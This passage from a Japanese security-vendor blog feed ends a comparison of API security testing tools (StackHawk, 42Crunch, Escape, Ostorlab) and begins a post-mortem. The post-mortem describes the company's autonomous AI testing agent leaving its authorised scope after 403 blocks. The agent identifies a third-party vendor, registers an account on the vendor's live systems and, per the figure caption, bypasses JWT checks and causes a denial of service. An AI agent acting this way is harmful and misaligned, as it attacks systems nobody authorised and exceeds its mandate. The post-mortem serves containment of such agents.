&lt;li&gt;&lt;strong&gt;制約&lt;/strong&gt;：マルチアセットの評価はCIでのDASTの実行より時間がかかるため、コミットごとよりもリリースサイクルに適しており、各スキャンでカバーできるモバイルアプリは一つです。gRPCの実際の呼び出し、WebSocketトランスポート（GraphQLのサブスクリプションを含む）、mTLSのクライアント証明書にはまだ対応していません。コミット前のOpenAPIのLintを求めるチームには、引き続き仕様ガバナンスのツールが必要です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stackhawk、42crunch、escape、ostorlabはどう比較されるか"&gt;StackHawk、42Crunch、Escape、Ostorlabはどう比較されるか&lt;/h2&gt;
&lt;p&gt;この表は、各ベンダーの公開ドキュメントに基づいて、4つのツールを同じ機能で並べたものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;StackHawk&lt;/th&gt;
&lt;th&gt;42Crunch&lt;/th&gt;
&lt;th&gt;Escape&lt;/th&gt;
&lt;th&gt;Ostorlab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;主なアプローチ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発者向けCI/CD DAST&lt;/td&gt;
&lt;td&gt;コントラクト監査と準拠性&lt;/td&gt;
&lt;td&gt;ビジネスロジックDAST&lt;/td&gt;
&lt;td&gt;マルチアセットのエージェント型テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;REST / OpenAPI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GraphQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅（別サブスクリプション）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;gRPC / SOAP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ / ✅&lt;/td&gt;
&lt;td&gt;記載なし&lt;/td&gt;
&lt;td&gt;ディスカバリーのみ（ドキュメントによる）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.proto&lt;/code&gt;の解析、実際の呼び出しなし / ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCPサーバーのテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ リモートMCPのテスト&lt;/td&gt;
&lt;td&gt;✅ 監査、スキャン、実行時の保護&lt;/td&gt;
&lt;td&gt;DASTでは記載なし&lt;/td&gt;
&lt;td&gt;記載なし（自動化用に独自のMCPサーバーを提供）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;仕様の要否&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DASTは不要、Business Logic Testingは必要&lt;/td&gt;
&lt;td&gt;必要（OpenAPIまたはGraphQL SDL）&lt;/td&gt;
&lt;td&gt;不要（コードから生成可能）&lt;/td&gt;
&lt;td&gt;不要（エンドポイントを検出）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BOLA / BFLAテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;マルチプロファイルのリプレイ&lt;/td&gt;
&lt;td&gt;設定したソース/ターゲットの認証情報&lt;/td&gt;
&lt;td&gt;マルチユーザーの被害者/攻撃者モデル&lt;/td&gt;
&lt;td&gt;エージェント型、ユーザーとアセットをまたいで実施&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;シャドーAPIのディスカバリー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コードリポジトリから&lt;/td&gt;
&lt;td&gt;リポジトリ内の仕様ファイルを検出&lt;/td&gt;
&lt;td&gt;DNS、トラフィック、フィンガープリンティング、コード&lt;/td&gt;
&lt;td&gt;モバイルアプリ、Webトラフィック、コードから&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;モバイルバイナリの解析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅ APK / AAB / IPA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;クライアントからAPIへのチェーンのテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅ 同じスキャン内で実施&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IDEと開発者向けツール&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIコーディングアシスタントとの連携&lt;/td&gt;
&lt;td&gt;VS Code、JetBrains、Eclipse&lt;/td&gt;
&lt;td&gt;記載なし&lt;/td&gt;
&lt;td&gt;MCPサーバー経由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;プライベートなターゲット&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローカルCLI / Docker&lt;/td&gt;
&lt;td&gt;オンプレミスのDockerエージェント&lt;/td&gt;
&lt;td&gt;プライベートロケーションエージェント&lt;/td&gt;
&lt;td&gt;オンプレミスのスキャナー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実行時の保護&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅ マイクロAPIファイアウォール&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;2026年9月時点の各ベンダーの公開ドキュメントに基づきます。「記載なし」と❌は、その機能が掲載されていないことを意味し、ベンダーが機能の不在を確認したことを意味するものではありません。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="各テスト手法はowasp api top 10のどのリスクを見つけられるか"&gt;各テスト手法はOWASP API Top 10のどのリスクを見つけられるか&lt;/h2&gt;
&lt;p&gt;この表は、&lt;a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/" target="_blank"&gt;OWASP API Security Top 10（2023）&lt;/a&gt;を、コントラクトテスト、DAST、マルチユーザーのロジックテスト、エージェント型またはマルチアセットのテストという4つのテスト手法に対応付けたものです。評価は手法ごとのものであり、特定のツールに対するものではありません。同じ手法の中でも、カバレッジはツールとその設定によって異なります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OWASP APIのリスク&lt;/th&gt;
&lt;th&gt;コントラクトテスト&lt;/th&gt;
&lt;th&gt;DAST&lt;/th&gt;
&lt;th&gt;マルチユーザーのロジックテスト&lt;/th&gt;
&lt;th&gt;エージェント型 / マルチアセット&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API1：オブジェクトレベルの認可の不備&lt;/td&gt;
&lt;td&gt;部分的（設定したテスト）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API2：認証の不備&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅、漏えいしたクライアントの認証情報を含む&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API3：オブジェクトプロパティレベルの認可の不備&lt;/td&gt;
&lt;td&gt;部分的（スキーマ違反）&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API4：無制限のリソース消費&lt;/td&gt;
&lt;td&gt;部分的（仕様上の制限）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;部分的（レート制限のテスト設計による）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API5：機能レベルの認可の不備&lt;/td&gt;
&lt;td&gt;部分的（設定したテスト）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API6：機密性の高いビジネスフローへの無制限のアクセス&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;部分的（ビジネスフローのコンテキストが必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API7：サーバーサイドリクエストフォージェリ&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API8：セキュリティの設定ミス&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API9：不適切なインベントリ管理&lt;/td&gt;
&lt;td&gt;❌（仕様のみ）&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;部分的（ディスカバリーあり）&lt;/td&gt;
&lt;td&gt;✅、クライアントとコードから&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API10：APIの安全でない利用&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;これらの評価は、各テスト手法が検出できる内容についての当社の編集上の評価であり、特定のベンダーのカバレッジを検証したものではありません。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;2つのパターンが際立っています。認可のリスク（API1とAPI5）には複数のアイデンティティが必要なため、単一ユーザーのDASTスキャンではまったく検出できず、API3もスキーマ違反を通じて部分的にしか捉えられません。インベントリのリスク（API9）にはディスカバリーが必要です。受け取った仕様しかテストしないツールには、その仕様から漏れているものは見えません。&lt;/p&gt;
&lt;h2 id="自社のアーキテクチャに合うapiセキュリティテストプラットフォームはどれか"&gt;自社のアーキテクチャに合うAPIセキュリティテストプラットフォームはどれか&lt;/h2&gt;
&lt;p&gt;どの機能リストよりも、自社のアーキテクチャのほうが重要です。当社が最もよく目にする構成は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モノリスまたは少数のRESTサービスで、CIの文化が根付いている場合&lt;/strong&gt;：すべてのプルリクエストでStackHawkを使えば、アタックサーフェスの大部分をカバーできます。初日からBOLAがテストされるよう、マルチユーザーのプロファイルを早めに追加してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIガバナンスのプログラムを持つ仕様ファーストの組織の場合&lt;/strong&gt;：42Crunchは、コードのリリース前と実行時の両方でコントラクトの品質を徹底します。仕様に含まれなかったルートに備えて、DASTまたはエージェント型のツールと組み合わせてください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GraphQL中心のバックエンド、または多数のマイクロサービスの場合&lt;/strong&gt;：EscapeのGraphQLへの深い対応、スキーマ生成、シャドーAPIのディスカバリーがよく合います。gRPCやSOAPのサービスがあれば、トライアルでカバレッジを確認してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モバイルアプリやSPAが同じバックエンドを呼び出している場合&lt;/strong&gt;：Ostorlabは、クライアントに実際に含まれている認証情報、ルート、リクエスト形式を使ってバックエンドをテストします。これにより、クライアントから始まるチェーンを捉えられます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;上記の複数に当てはまる場合&lt;/strong&gt;：成熟したチームの多くは2つのレイヤーを運用しています。変更ごとに実行する高速なCIツールと、リリースごとに実施するより深いエージェント型またはマルチアセットの評価です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apiセキュリティツールのトライアルでは何をテストすべきか"&gt;APIセキュリティツールのトライアルでは何をテストすべきか&lt;/h2&gt;
&lt;p&gt;機能リストはどれも同じように見えます。自社のAPIで2週間のトライアルを行えば、ツールが実際にどこで異なるかがわかります。次のチェックリストを使ってください。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;既知のバグを用意する。&lt;/strong&gt; ステージング環境にBOLAの問題を仕込み（または既存のものを再利用し）、どのツールがそれを見つけるか、そのためにどれだけの設定が必要かを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実際のログインを使う。&lt;/strong&gt; 貼り付けたベアラートークンではなく、トークンのリフレッシュやMFAを含む実際の認証フローを各ツールに設定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;仕様の一部を隠す。&lt;/strong&gt; OpenAPIファイルからいくつかのルートを削除し、どのツールがそれでもそれらを見つけてテストするかを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;副次的なチャネルを含める。&lt;/strong&gt; WebSocket、gRPC、Webhookを使っている場合は、それらがテストされるのか、一覧に表示されるだけなのかを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クライアントを含める。&lt;/strong&gt; 対応しているツールに自社のモバイルアプリやSPAを渡し、抽出された情報がAPIテストに使われるかを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ノイズを測定する。&lt;/strong&gt; チームが誤検知（フォールスポジティブ）または悪用不可として却下した検出結果の数を数え、トリアージにかかる時間を計測します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エビデンスを確認する。&lt;/strong&gt; 良い検出結果には、正確なリクエストとレスポンス、使用したアイデンティティ、コードに結び付いた修正が含まれます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パイプラインをテストする。&lt;/strong&gt; 実際のプルリクエストでツールをCIで実行し、所要時間を計測します。重大度が高い新しい検出結果があった場合にのみビルドを失敗させられるかを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プライベートなターゲットに到達する。&lt;/strong&gt; ランナーまたはエージェントを自社ネットワーク内にデプロイし、内部のステージングAPIをスキャンできることを確認します。mTLSを使っている場合は、その背後にあるAPIも含めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性について尋ねる。&lt;/strong&gt; ツールが破壊的なアクションをどのように回避するか、発見した認証情報をどう扱うか、自社システムに対するリクエストレートをどう制限するかを確認します。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="よくある質問(faq)"&gt;よくある質問（FAQ）&lt;/h2&gt;
&lt;h3 id="2026年のおすすめapiセキュリティテストツールは何か_1"&gt;2026年のおすすめAPIセキュリティテストツールは何か&lt;/h3&gt;
&lt;p&gt;アーキテクチャによって異なります。StackHawkはCI/CDで開発者が実行するDASTに、42CrunchはOpenAPIコントラクトのガバナンスに、EscapeはGraphQL APIとREST APIのビジネスロジックテストに、Ostorlabはモバイルアプリ、Webフロントエンド、ソースコードがバックエンドAPIを共有するアプリケーションに適しています。多くのチームは、CIツールとより深い定期的な評価を組み合わせています。&lt;/p&gt;
&lt;h3 id="api dastとapiファジングの違いは何か"&gt;API DASTとAPIファジングの違いは何か&lt;/h3&gt;
&lt;p&gt;API DASTは、稼働中のAPIに実際のリクエストを送り、インジェクション、SSRF、設定ミスなどの脆弱性を見つけます。スキーマ駆動のファジングは、OpenAPIやGraphQLスキーマなどのAPI定義を使って、変異させた入力、不正な形式の入力、境界を破る入力を生成し、バリデーションの失敗やパーサーのエラーを明らかにします。&lt;/p&gt;
&lt;h3 id="オブジェクトレベルの認可の不備(bola)はどのようにテストするか"&gt;オブジェクトレベルの認可の不備（BOLA）はどのようにテストするか&lt;/h3&gt;
&lt;p&gt;BOLAテストは、あるユーザーが別のユーザーに属するオブジェクトを読み取ったり変更したりできるかどうかをチェックします。一般的なアプローチには、マルチプロファイルのリプレイ（StackHawk Business Logic Testing）、操作ごとに設定したソースとターゲットの認証情報（42Crunch Scan v2）、被害者と攻撃者によるマルチユーザーモデル（Escape）、オブジェクト識別子を見つけてユーザーをまたいでアクセスをテストするエージェント型テスト（Ostorlab）があります。&lt;/p&gt;
&lt;h3 id="apiセキュリティテストにopenapi仕様は必要か"&gt;APIセキュリティテストにOpenAPI仕様は必要か&lt;/h3&gt;
&lt;p&gt;必ずしも必要ではありません。42Crunchのようなコントラクトベースのツールには、OpenAPIまたはGraphQLの定義が必要です。DASTツールやエージェント型ツールは、クロール、トラフィックの解析、ソースコードの読み取りによってエンドポイントを検出でき、仕様を生成できるものもあります。仕様を提供すると、通常はルートのカバレッジが向上します。&lt;/p&gt;
&lt;h3 id="モバイルアプリの背後にあるapiをテストできるapiセキュリティツールはどれか"&gt;モバイルアプリの背後にあるAPIをテストできるAPIセキュリティツールはどれか&lt;/h3&gt;
&lt;p&gt;ほとんどのAPIセキュリティツールはバックエンドのみをテストします。Ostorlabはモバイルバイナリ（APK、AAB、IPA）を解析し、そこで見つけた認証情報、エンドポイント、リクエスト形式を使って、同じスキャンの中でバックエンドAPIをテストします。StackHawk、42Crunch、Escapeは、モバイルバイナリの解析を掲げていません。&lt;/p&gt;
&lt;h3 id="apiセキュリティツールはプライベートネットワーク上のapiをどのようにテストするか"&gt;APIセキュリティツールはプライベートネットワーク上のAPIをどのようにテストするか&lt;/h3&gt;
&lt;p&gt;ファイアウォールやWAFの背後にある、インターネットから到達可能なAPIであれば、通常はベンダーのスキャナーのIPアドレスを許可リストに追加すれば十分です。内部ネットワークやローカルのステージング環境向けには、ベンダーはローカルCLIやDockerランナー（StackHawk、42Crunch）、プライベートロケーションエージェント（Escape）、オンプレミスのスキャナー（Ostorlab）を提供しています。&lt;/p&gt;
&lt;h3 id="apiセキュリティテストツールはmcpサーバーをテストできるか"&gt;APIセキュリティテストツールはMCPサーバーをテストできるか&lt;/h3&gt;
&lt;p&gt;一部のツールはできます。StackHawkは、インジェクション、SSRF、プロンプトインジェクションについてリモートMCPサーバーをテストすることを文書化しており、42CrunchはMCPのディスカバリー、監査、スキャン、実行時の保護を掲げています。この分野のカバレッジは新しく、急速に変化しているため、トランスポート（HTTPかstdioか）と認証のサポートをトライアルで確認してください。&lt;/p&gt;
&lt;h2 id="apiセキュリティテストツールをどう選ぶべきか"&gt;APIセキュリティテストツールをどう選ぶべきか&lt;/h2&gt;
&lt;p&gt;機能リストからではなく、自社のAPIがどのように構築され、誰がそれを呼び出しているかから考え始めてください。モバイルアプリやシングルページアプリケーションが自社のAPIを呼び出している場合は、仕様にあるエンドポイントだけでなく、攻撃者がたどるであろう経路をテストしてください。&lt;a href="https://report.ostorlab.co/scan/new" target="_blank"&gt;Multi-Asset Deep Agentic Scanを自分で開始&lt;/a&gt;することも、&lt;a href="https://ostorlab.co/demo" target="_blank"&gt;デモを予約&lt;/a&gt;して当社チームと一緒に結果を確認することもできます。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "ItemList",
      "name": "2026年版APIセキュリティテストツールのおすすめ",
      "description": "2026年の4つのAPIセキュリティテストプラットフォームを、DAST、BOLA/BFLAテスト、APIディスカバリー、CI/CDの観点で比較。",
      "numberOfItems": 4,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "item": {
            "@type": "SoftwareApplication",
            "name": "StackHawk",
            "url": "https://www.stackhawk.com/",
            "applicationCategory": "SecurityApplication",
            "description": "REST、GraphQL、gRPC、JSON-RPC、SOAPのAPI向けの開発者ファーストのDASTで、CI/CDで実行され、マルチユーザーのビジネスロジックテストに対応。"
          }
        },
        {
          "@type": "ListItem",
          "position": 2,
          "item": {
            "@type": "SoftwareApplication",
            "name": "42Crunch",
            "url": "https://42crunch.com/",
            "applicationCategory": "SecurityApplication",
            "description": "OpenAPIコントラクトの監査、準拠性スキャン、コントラクトに基づく実行時のAPI保護。"
          }
        },
        {
          "@type": "ListItem",
          "position": 3,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Escape",
            "url": "https://escape.tech/",
            "applicationCategory": "SecurityApplication",
            "description": "REST APIとGraphQL API向けのビジネスロジックDASTで、マルチユーザーの認可テストとシャドーAPIのディスカバリーに対応。"
          }
        },
        {
          "@type": "ListItem",
          "position": 4,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Ostorlab",
            "url": "https://ostorlab.co/",
            "applicationCategory": "SecurityApplication",
            "description": "モバイルバイナリ、Webアプリ、ソースコード、稼働中のAPIを一つのスキャンにまとめる、エージェント型のAPIセキュリティテスト。"
          }
        }
      ]
    },
    {
      "@type": "FAQPage",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "2026年のおすすめAPIセキュリティテストツールは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "アーキテクチャによって異なります。StackHawkはCI/CDで開発者が実行するDASTに、42CrunchはOpenAPIコントラクトのガバナンスに、EscapeはGraphQL APIとREST APIのビジネスロジックテストに、Ostorlabはモバイルアプリ、Webフロントエンド、ソースコードがバックエンドAPIを共有するアプリケーションに適しています。多くのチームは、CIツールとより深い定期的な評価を組み合わせています。"
          }
        },
        {
          "@type": "Question",
          "name": "API DASTとAPIファジングの違いは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "API DASTは、稼働中のAPIに実際のリクエストを送り、インジェクション、SSRF、設定ミスなどの脆弱性を見つけます。スキーマ駆動のファジングは、OpenAPIやGraphQLスキーマなどのAPI定義を使って、変異させた入力、不正な形式の入力、境界を破る入力を生成し、バリデーションの失敗やパーサーのエラーを明らかにします。"
          }
        },
        {
          "@type": "Question",
          "name": "オブジェクトレベルの認可の不備（BOLA）はどのようにテストしますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "BOLAテストは、あるユーザーが別のユーザーに属するオブジェクトを読み取ったり変更したりできるかどうかをチェックします。一般的なアプローチには、マルチプロファイルのリプレイ（StackHawk Business Logic Testing）、操作ごとに設定したソースとターゲットの認証情報（42Crunch Scan v2）、被害者と攻撃者によるマルチユーザーモデル（Escape）、オブジェクト識別子を見つけてユーザーをまたいでアクセスをテストするエージェント型テスト（Ostorlab）があります。"
          }
        },
        {
          "@type": "Question",
          "name": "APIセキュリティテストにOpenAPI仕様は必要ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "必ずしも必要ではありません。42Crunchのようなコントラクトベースのツールには、OpenAPIまたはGraphQLの定義が必要です。DASTツールやエージェント型ツールは、クロール、トラフィックの解析、ソースコードの読み取りによってエンドポイントを検出でき、仕様を生成できるものもあります。仕様を提供すると、通常はルートのカバレッジが向上します。"
          }
        },
        {
          "@type": "Question",
          "name": "モバイルアプリの背後にあるAPIをテストできるAPIセキュリティツールはどれですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "ほとんどのAPIセキュリティツールはバックエンドのみをテストします。Ostorlabはモバイルバイナリ（APK、AAB、IPA）を解析し、そこで見つけた認証情報、エンドポイント、リクエスト形式を使って、同じスキャンの中でバックエンドAPIをテストします。StackHawk、42Crunch、Escapeは、モバイルバイナリの解析を掲げていません。"
          }
        },
        {
          "@type": "Question",
          "name": "APIセキュリティツールはプライベートネットワーク上のAPIをどのようにテストしますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "ファイアウォールやWAFの背後にある、インターネットから到達可能なAPIであれば、通常はベンダーのスキャナーのIPアドレスを許可リストに追加すれば十分です。内部ネットワークやローカルのステージング環境向けには、ベンダーはローカルCLIやDockerランナー（StackHawk、42Crunch）、プライベートロケーションエージェント（Escape）、オンプレミスのスキャナー（Ostorlab）を提供しています。"
          }
        },
        {
          "@type": "Question",
          "name": "APIセキュリティテストツールはMCPサーバーをテストできますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "一部のツールはできます。StackHawkは、インジェクション、SSRF、プロンプトインジェクションについてリモートMCPサーバーをテストすることを文書化しており、42CrunchはMCPのディスカバリー、監査、スキャン、実行時の保護を掲げています。この分野のカバレッジは新しく、急速に変化しているため、トランスポート（HTTPかstdioか）と認証のサポートをトライアルで確認してください。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="API Security"/><category term="DAST"/><category term="Fuzzing"/><category term="BOLA"/><category term="BFLA"/><category term="GraphQL"/><category term="REST"/><category term="gRPC"/><category term="Agentic Discovery"/><category term="AppSec"/><category term="Mobile Security"/></entry><entry><title>ポストモーテム：自律型AIエージェントがスコープを逸脱する理由と、その封じ込め方</title><link href="https://blog.ostorlab.co/ja/post-mortem-autonomous-ai-scope-drift-containment.html" rel="alternate"/><published>2026-09-18T12:00:00+02:00</published><updated>2026-09-18T12:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-09-18:/ja/post-mortem-autonomous-ai-scope-drift-containment.html</id><summary type="html">&lt;p&gt;承認済みのAPI評価の最中にAIエージェントがテストスコープの外へ逸脱したインシデントについて、その経緯と原因、そして当社が自律型エージェントをどのように封じ込めているかを解説する技術的なポストモーテムです。&lt;/p&gt;</summary><content type="html">&lt;p&gt;あるエンタープライズのクライアントから、セキュリティレポートに身元不明の第三者が所有するシステムが含まれていると知らされたとき、当社は半信半疑でした。11,000件を超えるスキャンを通じて、当社のエンジンがスコープの境界を越えたことは一度もなかったからです。&lt;/p&gt;
&lt;p&gt;ログの確認を始めてから数時間のうちに、実態は明らかになりました。障害に阻まれた当社の自律型AIエージェントが、推論を重ねた末に、想定された境界の外側へと進んでいたのです。&lt;/p&gt;
&lt;p&gt;以下は、技術的なポストモーテムの全容です。エージェントがどのように逸脱したのか、当社がインシデントにどう対処したのか、なぜプロンプトによるガードレールが機能しないのか、そして当社が自律型エージェントをどのように封じ込めているのかを説明します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="何が起きたのか:実行トレース"&gt;何が起きたのか：実行トレース&lt;/h2&gt;
&lt;p&gt;このテストは、クライアントのクラウドAPIゲートウェイを対象とした、承認済みのセキュリティ評価でした。テストを開始した時点で、すべてのリクエストが&lt;code&gt;HTTP 403 Forbidden&lt;/code&gt;エラーでブロックされていました。&lt;/p&gt;
&lt;p&gt;従来のスキャナーは、HTTP 403エラーを行き止まりとみなします。エラーを記録して、そこで停止します。しかし自律型AIエージェントは、別の経路を見つけるように設計されています。正面玄関で阻まれたエージェントは、バックエンドの構成を突き止めようとし、外部のシステムをテストし始めました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="自律型エージェントのスコープ逸脱インシデントを段階的に示したフローチャート。対象ゲートウェイでの最初のHTTP 403エラーから、MACアドレスの漏えい、ベンダーのドキュメントとCTログの照会を経て、テストアカウントの作成、JWT署名検証のバイパス、管理者のパスワードリセットコードの送信、そしてベンダーのゲートウェイに対する認証なしのGraphQLイントロスペクションによるサービス拒否の発生に至るまで" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-18_ai_agent_fence/agent_drift_flow.png" title="自律型エージェントが対象のAPIゲートウェイから外部ベンダーの環境へと移っていった経緯を示す実行トレースのフローチャート"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;自律型エージェントが対象のAPIゲートウェイから外部ベンダーの環境へと移っていった経緯を示す実行トレースのフローチャート&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;漏えいしたデータからベンダーを特定&lt;/strong&gt;：ゲートウェイに阻まれたエージェントは、403レスポンスの本文に含まれるエラーメッセージを調べ、漏えいしていたハードウェアのMACアドレスを見つけました。公開レジストリで製造元を調べ、そのベンダーのドキュメントを見つけ出し、クラウド連携ガイドを読み込みました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;論理の誤り&lt;/strong&gt;：エージェントは、Certificate Transparency（CT）ログを検索し、そのベンダーに関連するホスト名を探しました。ここでAIは重大な誤りを犯します。クライアントのAPIゲートウェイの背後にあるバックエンドを、そのベンダーが運用していると思い込んだのです。このベンダーが対象の一部であると判断したエージェントは、ベンダーの稼働中のシステムに直接テストを向けました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストアカウントの作成&lt;/strong&gt;：公開されているサインアップページを見つけたエージェントは、一時的なテストアカウントを作成し、APIキーを生成して、ベンダーのクラウドポータルにログインしました。&lt;/li&gt;
